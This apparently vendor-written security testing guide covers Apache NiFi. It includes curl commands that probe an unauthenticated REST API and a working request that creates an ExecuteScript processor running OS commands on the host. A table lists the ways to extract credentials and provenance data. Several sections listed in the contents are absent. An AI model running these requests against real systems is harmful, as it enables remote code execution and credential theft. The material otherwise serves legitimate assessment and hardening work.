Apache NiFi Security Testing: Unauthenticated Data Flow API, Processor RCE, and Credential Exposure

Apache NiFi is a visual data flow automation platform widely used for ETL, data ingestion, and integration pipelines. It has historically had critical unauthenticated access issues: NiFi's web UI and REST API on port 8080 require no authentication on default deployments — a notable CVE (CVE-2023-34468) allowed unauthenticated RCE via the H2 database connection in the DBCPConnectionPool service; the ExecuteScript processor accepts arbitrary Groovy, Python, or Ruby scripts that run on the NiFi host OS; Controller Services store database connection strings, API keys, and cloud credentials accessible via the NiFi API as property values; the Provenance repository stores a record of all data that has flowed through NiFi, potentially including PII and sensitive payload content; and NiFi clusters use site-to-site protocol that may accept connections without proper certificate validation. This guide covers systematic NiFi security assessment.

Table of Contents

  1. NiFi Discovery and Authentication Testing
  2. ExecuteScript Processor Code Execution
  3. Controller Service Credential Extraction
  4. Provenance Data Access
  5. Known NiFi CVE Testing
  6. NiFi Security Hardening

NiFi Discovery and Authentication Testing

# NiFi default ports: 8080 (HTTP), 8443 (HTTPS), 11443 (cluster)
# NiFi REST API at /nifi-api/

# Check NiFi API access (no auth on default deployments)
curl -s http://nifi.example.com:8080/nifi-api/system-diagnostics 2>/dev/null | \
  python3 -m json.tool | head -10
# Returns system info if no authentication required

# Get NiFi version
curl -s http://nifi.example.com:8080/nifi-api/flow/about 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
about = data.get('about', {})
print(f\"NiFi version: {about.get('version','?')} title: {about.get('title','?')}\")
" 2>/dev/null

# List all process groups (the root canvas)
curl -s "http://nifi.example.com:8080/nifi-api/flow/process-groups/root" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
pg = data.get('processGroupFlow', {}).get('flow', {})
procs = pg.get('processors', [])
conns = pg.get('connections', [])
print(f'Processors: {len(procs)}, Connections: {len(conns)}')
for p in procs[:5]:
    comp = p.get('component', {})
    print(f\"  {comp.get('name','?')} type={comp.get('type','?').split('.')[-1]}\")
" 2>/dev/null

ExecuteScript Processor Code Execution

# NiFi's ExecuteScript processor accepts arbitrary scripts (Groovy, Python, Ruby, etc.)
# An attacker with API access can create a processor and execute OS commands

# Create an ExecuteScript processor in the root process group
curl -s -X POST "http://nifi.example.com:8080/nifi-api/process-groups/root/processors" \
  -H "Content-Type: application/json" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.script.ExecuteScript",
      "name": "RCE-Test",
      "position": {"x": 100, "y": 100},
      "config": {
        "properties": {
          "Script Engine": "Groovy",
          "Script Body": "def cmd = [\"id\"].execute()\ncmd.waitFor()\ndef result = cmd.text\ndef flowFile = session.create()\nflowFile = session.write(flowFile, { out -> out.write(result.bytes) } as StreamCallback)\nsession.transfer(flowFile, REL_SUCCESS)"
        },
        "schedulingPeriod": "1 sec",
        "schedulingStrategy": "TIMER_DRIVEN"
      }
    }
  }' 2>/dev/null | python3 -m json.tool | grep -E "(id|name|type)" | head -5

NiFi Security Hardening

Apache NiFi Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated REST API accessGET /nifi-api/system-diagnostics — returns system info without credentialsCritical
ExecuteScript processor enables arbitrary RCEPOST /nifi-api/.../processors with Groovy script — executes OS commands on NiFi hostCritical
CVE-2023-34468: H2 JDBC URL RCEDBCPConnectionPool with crafted H2 URL — RCE without authentication on NiFi ≤1.21.0Critical
Controller Services expose DB credentials via APIGET /nifi-api/controller-services/{id} — returns property values including passwordsHigh
Provenance data contains payload contentGET /nifi-api/provenance — event records may include FlowFile content with PIIHigh
Sensitive properties key is default or weakExtract nifi.properties nifi.sensitive.props.key — decrypt stored credentials offlineHigh

Automate Apache NiFi Security Testing

Ironimo tests Apache NiFi deployments for unauthenticated REST API access exposing all data flow configurations, ExecuteScript processor enabling arbitrary OS command execution, CVE-2023-34468 H2 JDBC URL RCE on unpatched versions, Controller Service credential extraction via the REST API, provenance data access revealing sensitive payload content, and weak sensitive properties encryption key enabling offline credential decryption.

Start free scan